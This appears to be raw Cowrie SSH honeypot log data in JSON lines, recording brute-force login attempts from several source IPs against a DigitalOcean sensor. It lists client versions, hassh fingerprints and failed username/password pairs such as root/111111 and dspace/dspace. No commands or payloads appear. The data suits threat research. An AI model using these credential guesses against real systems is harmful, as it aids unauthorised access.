{"eventid":"cowrie.login.failed","username":"sol","password":"ZXCVASDFQWER!@#$","message":"login attempt [sol/ZXCVASDFQWER!@#$] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:10:49.315844Z","src_ip":"80.94.92.182","session":"ef62a4c41d77","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.103","src_port":42040,"dst_ip":"10.17.0.5","dst_port":22,"session":"b9310efd82f1","protocol":"ssh","message":"New connection: 176.65.139.103:42040 (10.17.0.5:22) [session: b9310efd82f1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:10:49.594530Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:10:49.598510Z","src_ip":"176.65.139.103","session":"b9310efd82f1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:10:49.684503Z","src_ip":"176.65.139.103","session":"b9310efd82f1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"111111","message":"login attempt [root/111111] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:10:50.205350Z","src_ip":"176.65.139.103","session":"b9310efd82f1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:10:50.569380Z","src_ip":"80.94.92.182","session":"ef62a4c41d77","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"202.184.144.220","src_port":35946,"dst_ip":"10.17.0.5","dst_port":22,"session":"cb2838a14da7","protocol":"ssh","message":"New connection: 202.184.144.220:35946 (10.17.0.5:22) [session: cb2838a14da7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:10:50.926675Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:10:50.930696Z","src_ip":"202.184.144.220","session":"cb2838a14da7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:10:51.174617Z","src_ip":"202.184.144.220","session":"cb2838a14da7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:10:51.303256Z","src_ip":"176.65.139.103","session":"b9310efd82f1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Test123456789","message":"login attempt [root/Test123456789] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:10:52.180739Z","src_ip":"202.184.144.220","session":"cb2838a14da7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:10:53.425526Z","src_ip":"202.184.144.220","session":"cb2838a14da7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"52.231.220.210","src_port":62809,"dst_ip":"10.17.0.5","dst_port":22,"session":"3487b91dd9a3","protocol":"ssh","message":"New connection: 52.231.220.210:62809 (10.17.0.5:22) [session: 3487b91dd9a3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:10:54.534990Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:10:54.539899Z","src_ip":"52.231.220.210","session":"3487b91dd9a3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:10:54.722274Z","src_ip":"52.231.220.210","session":"3487b91dd9a3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Qaz96300","message":"login attempt [root/Qaz96300] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:10:55.484088Z","src_ip":"52.231.220.210","session":"3487b91dd9a3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.103","src_port":36838,"dst_ip":"10.17.0.5","dst_port":22,"session":"398bfad3e5f2","protocol":"ssh","message":"New connection: 176.65.139.103:36838 (10.17.0.5:22) [session: 398bfad3e5f2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:10:56.666736Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:10:56.670959Z","src_ip":"176.65.139.103","session":"398bfad3e5f2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:10:56.674670Z","src_ip":"52.231.220.210","session":"3487b91dd9a3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:10:56.755699Z","src_ip":"176.65.139.103","session":"398bfad3e5f2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"dspace","password":"dspace","message":"login attempt [dspace/dspace] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:10:57.063539Z","src_ip":"176.65.139.103","session":"398bfad3e5f2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:10:58.160629Z","src_ip":"176.65.139.103","session":"398bfad3e5f2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.103","src_port":42042,"dst_ip":"10.17.0.5","dst_port":22,"session":"f93651f78b3e","protocol":"ssh","message":"New connection: 176.65.139.103:42042 (10.17.0.5:22) [session: f93651f78b3e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:11:03.257247Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:11:03.261551Z","src_ip":"176.65.139.103","session":"f93651f78b3e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:11:03.353867Z","src_ip":"176.65.139.103","session":"f93651f78b3e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"appuser","password":"123456","message":"login attempt [appuser/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:11:03.918246Z","src_ip":"176.65.139.103","session":"f93651f78b3e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:11:05.056870Z","src_ip":"176.65.139.103","session":"f93651f78b3e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":47154,"dst_ip":"159.203.135.109","dst_port":22,"session":"e563605f8291","protocol":"ssh","message":"New connection: 159.203.92.129:47154 (159.203.135.109:22) [session: e563605f8291]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:11:06.604187Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:11:06.608645Z","src_ip":"159.203.92.129","session":"e563605f8291","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:11:06.613674Z","src_ip":"159.203.92.129","session":"e563605f8291","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ansible","password":"12345QWERT","message":"login attempt [ansible/12345QWERT] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:11:06.627985Z","src_ip":"159.203.92.129","session":"e563605f8291","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:11:07.646780Z","src_ip":"159.203.92.129","session":"e563605f8291","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.103","src_port":42054,"dst_ip":"10.17.0.5","dst_port":22,"session":"a51216fdb241","protocol":"ssh","message":"New connection: 176.65.139.103:42054 (10.17.0.5:22) [session: a51216fdb241]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:11:09.959304Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:11:10.052166Z","src_ip":"176.65.139.103","session":"a51216fdb241","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:11:10.055612Z","src_ip":"176.65.139.103","session":"a51216fdb241","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"123123","message":"login attempt [user/123123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:11:10.611603Z","src_ip":"176.65.139.103","session":"a51216fdb241","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:11:11.715091Z","src_ip":"176.65.139.103","session":"a51216fdb241","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.103","src_port":54098,"dst_ip":"10.17.0.5","dst_port":22,"session":"7d05b33ae221","protocol":"ssh","message":"New connection: 176.65.139.103:54098 (10.17.0.5:22) [session: 7d05b33ae221]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:11:16.999163Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:11:17.003450Z","src_ip":"176.65.139.103","session":"7d05b33ae221","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:11:17.086958Z","src_ip":"176.65.139.103","session":"7d05b33ae221","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"gary","password":"gary","message":"login attempt [gary/gary] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:11:17.637942Z","src_ip":"176.65.139.103","session":"7d05b33ae221","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:11:18.737820Z","src_ip":"176.65.139.103","session":"7d05b33ae221","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.176.20.115","src_port":41428,"dst_ip":"10.17.0.5","dst_port":22,"session":"a25d6109b110","protocol":"ssh","message":"New connection: 103.176.20.115:41428 (10.17.0.5:22) [session: a25d6109b110]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:11:19.999678Z"}
